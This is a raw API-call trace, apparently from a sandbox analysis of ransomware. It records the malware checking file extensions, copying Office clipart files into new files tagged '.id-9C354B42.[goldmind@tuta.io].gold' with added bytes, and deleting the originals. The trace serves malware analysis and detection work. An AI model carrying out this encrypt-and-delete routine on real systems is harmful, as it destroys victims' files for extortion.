[0106.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.778] lstrlenW (lpString=".1cd") returned 4 [0106.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.778] lstrlenW (lpString=".jpg") returned 4 [0106.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.778] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.778] lstrlenW (lpString="J0107130.WMF") returned 12 [0106.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.779] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=27084) returned 1 [0106.779] CloseHandle (hObject=0x230) returned 1 [0106.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 0x20 [0106.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.779] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.779] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0106.780] GetLastError () returned 0x0 [0106.780] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x69cc, lpOverlapped=0x0) returned 1 [0106.799] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x69d0, lpOverlapped=0x0) returned 1 [0106.800] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0106.800] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.800] SetEndOfFile (hFile=0x3c4) returned 1 [0106.800] CloseHandle (hObject=0x3c4) returned 1 [0106.800] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.800] SetEndOfFile (hFile=0x230) returned 1 [0106.804] CloseHandle (hObject=0x230) returned 1 [0106.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0106.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.947] lstrlenW (lpString=".doc") returned 4 [0106.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.947] lstrlenW (lpString=".docx") returned 5 [0106.947] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0106.947] lstrlenW (lpString=".pdf") returned 4 [0106.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.947] lstrlenW (lpString=".xls") returned 4 [0106.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.947] lstrlenW (lpString=".xlsx") returned 5 [0106.947] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0106.947] lstrlenW (lpString=".ppt") returned 4 [0106.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.947] lstrlenW (lpString=".zip") returned 4 [0106.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.947] lstrlenW (lpString=".rar") returned 4 [0106.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.947] lstrlenW (lpString=".bz2") returned 4 [0106.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.947] lstrlenW (lpString=".7z") returned 3 [0106.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.947] lstrlenW (lpString=".dbf") returned 4 [0106.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.947] lstrlenW (lpString=".1cd") returned 4 [0106.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.947] lstrlenW (lpString=".jpg") returned 4 [0106.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.947] lstrlenW (lpString=".doc") returned 4 [0106.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.947] lstrlenW (lpString=".docx") returned 5 [0106.948] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0106.948] lstrlenW (lpString=".pdf") returned 4 [0106.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.948] lstrlenW (lpString=".xls") returned 4 [0106.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.948] lstrlenW (lpString=".xlsx") returned 5 [0106.948] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0106.948] lstrlenW (lpString=".ppt") returned 4 [0106.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.948] lstrlenW (lpString=".zip") returned 4 [0106.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.948] lstrlenW (lpString=".rar") returned 4 [0106.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.948] lstrlenW (lpString=".bz2") returned 4 [0106.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.948] lstrlenW (lpString=".7z") returned 3 [0106.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.948] lstrlenW (lpString=".dbf") returned 4 [0106.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.948] lstrlenW (lpString=".1cd") returned 4 [0106.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0106.948] lstrlenW (lpString=".jpg") returned 4 [0106.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.948] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.948] lstrlenW (lpString="J0107134.WMF") returned 12 [0106.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.949] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=48388) returned 1 [0106.949] CloseHandle (hObject=0x3ac) returned 1 [0106.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 0x20 [0106.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.949] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.949] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.950] GetLastError () returned 0x0 [0106.950] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xbd04, lpOverlapped=0x0) returned 1 [0106.958] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xbd10, lpOverlapped=0x0) returned 1 [0106.959] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0106.959] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.959] SetEndOfFile (hFile=0x394) returned 1 [0106.960] CloseHandle (hObject=0x394) returned 1 [0106.960] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.960] SetEndOfFile (hFile=0x3ac) returned 1 [0106.962] CloseHandle (hObject=0x3ac) returned 1 [0106.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0107.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.010] lstrlenW (lpString=".doc") returned 4 [0107.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.010] lstrlenW (lpString=".docx") returned 5 [0107.010] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.010] lstrlenW (lpString=".pdf") returned 4 [0107.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.010] lstrlenW (lpString=".xls") returned 4 [0107.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.010] lstrlenW (lpString=".xlsx") returned 5 [0107.010] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.010] lstrlenW (lpString=".ppt") returned 4 [0107.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.010] lstrlenW (lpString=".zip") returned 4 [0107.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.010] lstrlenW (lpString=".rar") returned 4 [0107.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.010] lstrlenW (lpString=".bz2") returned 4 [0107.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.010] lstrlenW (lpString=".7z") returned 3 [0107.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.010] lstrlenW (lpString=".dbf") returned 4 [0107.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.010] lstrlenW (lpString=".1cd") returned 4 [0107.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.010] lstrlenW (lpString=".jpg") returned 4 [0107.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.010] lstrlenW (lpString=".doc") returned 4 [0107.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.010] lstrlenW (lpString=".docx") returned 5 [0107.010] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.010] lstrlenW (lpString=".pdf") returned 4 [0107.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.010] lstrlenW (lpString=".xls") returned 4 [0107.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.010] lstrlenW (lpString=".xlsx") returned 5 [0107.010] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.011] lstrlenW (lpString=".ppt") returned 4 [0107.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.011] lstrlenW (lpString=".zip") returned 4 [0107.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.011] lstrlenW (lpString=".rar") returned 4 [0107.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.011] lstrlenW (lpString=".bz2") returned 4 [0107.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.011] lstrlenW (lpString=".7z") returned 3 [0107.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.011] lstrlenW (lpString=".dbf") returned 4 [0107.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.011] lstrlenW (lpString=".1cd") returned 4 [0107.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0107.011] lstrlenW (lpString=".jpg") returned 4 [0107.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.011] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.011] lstrlenW (lpString="J0107158.WMF") returned 12 [0107.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.020] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=24908) returned 1 [0107.020] CloseHandle (hObject=0x3b8) returned 1 [0107.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 0x20 [0107.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.067] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.067] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.068] GetLastError () returned 0x0 [0107.068] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x614c, lpOverlapped=0x0) returned 1 [0107.287] WriteFile (in: hFile=0x3cc, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x6150, lpOverlapped=0x0) returned 1 [0107.288] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0107.288] WriteFile (in: hFile=0x3cc, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.294] SetEndOfFile (hFile=0x3cc) returned 1 [0107.294] CloseHandle (hObject=0x3cc) returned 1 [0107.294] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.294] SetEndOfFile (hFile=0x3b8) returned 1 [0107.296] CloseHandle (hObject=0x3b8) returned 1 [0107.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0107.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.373] lstrlenW (lpString=".doc") returned 4 [0107.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.373] lstrlenW (lpString=".docx") returned 5 [0107.373] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.373] lstrlenW (lpString=".pdf") returned 4 [0107.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.373] lstrlenW (lpString=".xls") returned 4 [0107.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.373] lstrlenW (lpString=".xlsx") returned 5 [0107.373] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.373] lstrlenW (lpString=".ppt") returned 4 [0107.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.374] lstrlenW (lpString=".zip") returned 4 [0107.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.374] lstrlenW (lpString=".rar") returned 4 [0107.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString=".bz2") returned 4 [0107.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString=".7z") returned 3 [0107.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.374] lstrlenW (lpString=".dbf") returned 4 [0107.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.374] lstrlenW (lpString=".1cd") returned 4 [0107.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.374] lstrlenW (lpString=".jpg") returned 4 [0107.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.374] lstrlenW (lpString=".doc") returned 4 [0107.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString=".docx") returned 5 [0107.374] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.374] lstrlenW (lpString=".pdf") returned 4 [0107.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString=".xls") returned 4 [0107.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.374] lstrlenW (lpString=".xlsx") returned 5 [0107.374] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.374] lstrlenW (lpString=".ppt") returned 4 [0107.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.374] lstrlenW (lpString=".zip") returned 4 [0107.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.374] lstrlenW (lpString=".rar") returned 4 [0107.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString=".bz2") returned 4 [0107.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString=".7z") returned 3 [0107.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.374] lstrlenW (lpString=".dbf") returned 4 [0107.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.374] lstrlenW (lpString=".1cd") returned 4 [0107.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0107.374] lstrlenW (lpString=".jpg") returned 4 [0107.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.374] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.374] lstrlenW (lpString="J0107262.WMF") returned 12 [0107.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 